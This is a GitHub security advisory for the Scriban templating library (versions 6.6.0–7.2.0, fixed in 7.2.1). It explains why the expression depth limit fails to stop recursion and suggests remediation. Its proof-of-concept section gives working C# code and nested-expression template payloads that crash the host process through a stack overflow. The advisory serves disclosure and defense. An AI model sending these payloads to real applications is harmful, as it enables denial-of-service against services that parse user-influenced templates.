Skip to content

Scriban: ExpressionDepthLimit guard is non-enforcing — parser-recursion DoS in 6.6.0–7.2.0 (incomplete fix for GHSA-wgh7-7m3c-fx25 / GHSA-p6q4-fgr8-vx4p)

Moderate severity GitHub Reviewed Published May 24, 2026 in scriban/scriban • Updated Jun 26, 2026

Package

Scriban (NuGet)

Affected versions

>= 6.6.0, <= 7.2.0

Patched versions

7.2.1

Description

Summary

The ExpressionDepthLimit parser guard in Scriban does not actually stop parsing — it only logs a non-fatal error and lets recursive descent continue. As a result, a template containing a deeply nested expression (parentheses, array initializers, object initializers, or unary operators) drives the recursive-descent parser into a native stack overflow. The resulting StackOverflowException is uncatchable in .NET and immediately terminates the host process.

Any application that parses an attacker-influenced template — or that passes attacker-controlled strings to object.eval / object.eval_template — can be crashed by a single small request (roughly an 8 KB payload). This is a denial-of-service. It affects both Scriban-native (Template.Parse) and Liquid (Template.ParseLiquid) syntax modes, which share the same expression parser.

This re-opens two advisories that were reported as fixed: GHSA-wgh7-7m3c-fx25 ("Uncontrolled recursion in parser → StackOverflow", reported fixed in 6.6.0) and GHSA-p6q4-fgr8-vx4p ("StackOverflow via nested array initializers bypasses ExpressionDepthLimit", reported fixed in 7.0.0). Both fixes are incomplete: the limit they rely on never halts recursion. All releases 6.6.0 through 7.2.0 (current) are affected.

Details

The depth guard is EnterExpression() in src/Scriban/Parsing/Parser.Expressions.cs:

// src/Scriban/Parsing/Parser.Expressions.cs:1209-1218
private void EnterExpression()
{
    _expressionDepth++;
    var limit = Options.ExpressionDepthLimit;
    if (limit > 0 && !_isExpressionDepthLimitReached && _expressionDepth > limit)
    {
        LogError(GetSpanForToken(Previous), $"The statement depth limit `{limit}` was reached when parsing this statement");
        _isExpressionDepthLimitReached = true;
    }
}

When the limit is exceeded it calls LogError(...) and sets a flag. It does not throw, does not return a sentinel, and does not unwind the parse. LogError here uses the default isFatal: false, so it merely appends a message and sets HasErrors — parsing proceeds:

// src/Scriban/Parsing/Parser.cs:476-488
private void Log(LogMessage logMessage, bool isFatal = false)
{
    Messages.Add(logMessage);
    if (logMessage.Type == ParserMessageType.Error)
    {
        HasErrors = true;
        if (isFatal) _hasFatalError = true;   // not set on the depth-limit path
    }
}

The flag _isExpressionDepthLimitReached is consulted only to avoid logging the same error more than once — no code path uses it to stop descending. Confirmed by full-repo search (grep -rn "_isExpressionDepthLimitReached" src/): it appears in exactly four places — the field declaration (Parser.cs:40), a reset to false (Parser.cs:106), and within EnterExpression the dedup test (Parser.Expressions.cs:1213) and its assignment to true (:1216). The only read is the dedup test on line 1213; nothing else reads it. ParseExpression calls EnterExpression() and then continues straight into the token switch with no flag check:

// src/Scriban/Parsing/Parser.Expressions.cs:113 + 181-182
EnterExpression();
try
{
    ...
    case TokenType.OpenParen:
        leftOperand = ParseParenthesis();   // recurses back into ParseExpression
// src/Scriban/Parsing/Parser.Expressions.cs:984-1001
private ScriptExpression ParseParenthesis()
{
    var expression = Open<ScriptNestedExpression>();
    ExpectAndParseTokenTo(expression.OpenParen, TokenType.OpenParen);
    expression.Expression = ExpectAndParseExpression(expression);  // -> ParseExpression -> ParseParenthesis -> ...
    ...
}

Both Template.Parse (Scriban-native) and Template.ParseLiquid (Liquid-compatibility) front-ends share this same expression parser, so both entry points are affected.

So for input nested N levels deep, the parser recurses N levels deep regardless of ExpressionDepthLimit. There is no RuntimeHelpers.EnsureSufficientExecutionStack() call and no absolute recursion cap anywhere in the parser. Once the native thread stack is exhausted, the runtime raises StackOverflowException, which .NET does not allow to be caught and which tears down the entire process. The number of nesting levels required to overflow depends on the platform's thread-stack size (empirically around 4,000 levels on a default 1 MB stack); it is not a configurable mitigation.

The same defective guard is what makes the array-initializer fix for GHSA-p6q4-fgr8-vx4p ineffective: ParseArrayInitializer was wrapped in EnterExpression()/LeaveExpression(), but because EnterExpression() only logs, the array path still overflows.

The existing regression tests only assert HasErrors == true at a nesting depth of ~20 with a limit of 10 (src/Scriban.Tests/TestParser.cs); they never use a depth large enough to overflow the stack, so they pass while the protection does nothing against the actual DoS.

Runtime reachability without template injection: object.eval / object.eval_template (src/Scriban/Functions/ObjectFunctions.cs:72-155) re-parse a string argument at render time using Template.Parse(...). An application whose own templates are fully trusted is still vulnerable if any user-controlled value flows into object.eval. The catch (Exception) inside Eval cannot intercept the StackOverflowException.

PoC

A single console project reproduces it on the released NuGet package.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. -->
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.2.0" />
  </ItemGroup>
</Project>

Program.cs:

using Scriban;

int n = 8000; // ~8 KB template; 8000 reliably overflows a default 1 MB thread stack
string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";

System.Console.WriteLine($"Parsing template with {n} nested parentheses (default ParserOptions)...");
Template.Parse(tpl);                 // <-- process is killed here
System.Console.WriteLine("Parse returned without crashing"); // never reached

Run:

dotnet run -c Release

Observed output (process aborts; shell exit code 134 = SIGABRT):

Parsing template with 8000 nested parentheses (default ParserOptions)...
Stack overflow.
   at Scriban.Parsing.Parser.ParseParenthesis()
   at Scriban.Parsing.Parser.ParseExpression(...)
   at Scriban.Parsing.Parser.ExpectAndParseExpression(...)
   at Scriban.Parsing.Parser.ParseParenthesis()
   ... (repeats until the stack is exhausted)

Additional confirmations (same crash / exit 134), substituting the template body in Program.cs:

The explicit limit is ignored — still crashes:

Template.Parse(tpl, parserOptions: new ParserOptions { ExpressionDepthLimit = 10 });

Array initializers (the GHSA-p6q4 path):

string tpl = "{{ " + new string('[', n) + "1" + new string(']', n) + " }}";
Template.Parse(tpl);  // crashes identically

Object initializers {x:{x:...{x:1}...}}:

var b = new System.Text.StringBuilder();
for (int i = 0; i < n; i++) b.Append("{x:");
b.Append('1');
b.Append('}', n);
Template.Parse("{{ " + b + " }}");  // crashes identically

Unary operators:

string tpl = "{{ " + new string('!', n) + "true" + " }}";
Template.Parse(tpl);  // crashes identically

Liquid syntax mode (shares the same expression parser):

string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";
Template.ParseLiquid(tpl);  // crashes identically

Runtime via object.eval, with a fully trusted outer template — verified end-to-end: the outer parse reports HasErrors == false, then Render() crashes the process and the surrounding try/catch never fires (the StackOverflowException is uncatchable):

using Scriban;

int n = 8000;
string deep = new string('(', n) + "1" + new string(')', n);
string outer = "{{ \"" + deep + "\" | object.eval }}";

System.Console.WriteLine($"Outer template length = {outer.Length} chars.");
var t = Template.Parse(outer);
System.Console.WriteLine($"Outer parsed. HasErrors = {t.HasErrors}");
System.Console.WriteLine("Rendering (object.eval re-parses the inner string at runtime)...");
try
{
    t.Render();
    System.Console.WriteLine("Render returned without crashing");
}
catch (System.Exception e)
{
    System.Console.WriteLine($"Caught {e.GetType().Name} (note: StackOverflowException cannot be caught)");
}

Verified against clean NuGet installs of Scriban 6.6.0, 7.0.0, 7.1.0, and 7.2.0 (net8.0, .NET 9 runtime, Linux). A control template with depth 200 parses normally (HasErrors == false, no crash).

Impact

  • Type: Denial of service via uncontrolled recursion (CWE-674) leading to an uncatchable StackOverflowException and full process termination.
  • Severity: CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High) — the same vector and score as both prior advisories it re-opens (GHSA-wgh7-7m3c-fx25 and GHSA-p6q4-fgr8-vx4p, each scored 7.5 High with the identical AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H vector). The score reflects the library boundary, where no privileges are required to parse a template; the privilege actually needed in a given deployment depends on how that application exposes template input.
  • Who is impacted: Any application that calls Template.Parse / Template.ParseLiquid (or Template.Render on an unparsed source) on template text that is wholly or partially attacker-controlled — the documented server-side template scenario — and any application that passes attacker-controlled strings to object.eval / object.eval_template, even when its own templates are trusted.
  • Why the existing mitigation does not help: ExpressionDepthLimit (default 250) is advisory only; it records a parse error but does not stop recursion, so it cannot prevent the stack overflow. Because the exception is a StackOverflowException, callers cannot defend with try/catch either — the process is lost.
  • Affected versions: 6.6.0 – 7.2.0 (all versions shipping the depth-limit guard). Versions before 6.6.0 are vulnerable to the original unbounded-recursion condition.

Suggested remediation: make the limit actually stop descent — e.g. throw a parse exception from EnterExpression() when the limit is exceeded (or log with isFatal: true and have the parse loop honor _hasFatalError by unwinding). As defense in depth, call RuntimeHelpers.EnsureSufficientExecutionStack() at the entry of ParseExpression (the same technique already used in object.to_json), and add a regression test at a depth that overflows without the fix (e.g. 100,000), asserting a graceful exception rather than only checking HasErrors at depth 20.

References

@xoofx xoofx published to scriban/scriban May 24, 2026
Published to the GitHub Advisory Database Jun 26, 2026
Reviewed Jun 26, 2026
Last updated Jun 26, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P

EPSS score

Weaknesses

Uncontrolled Recursion

The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-6q7j-xr26-3h2c

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.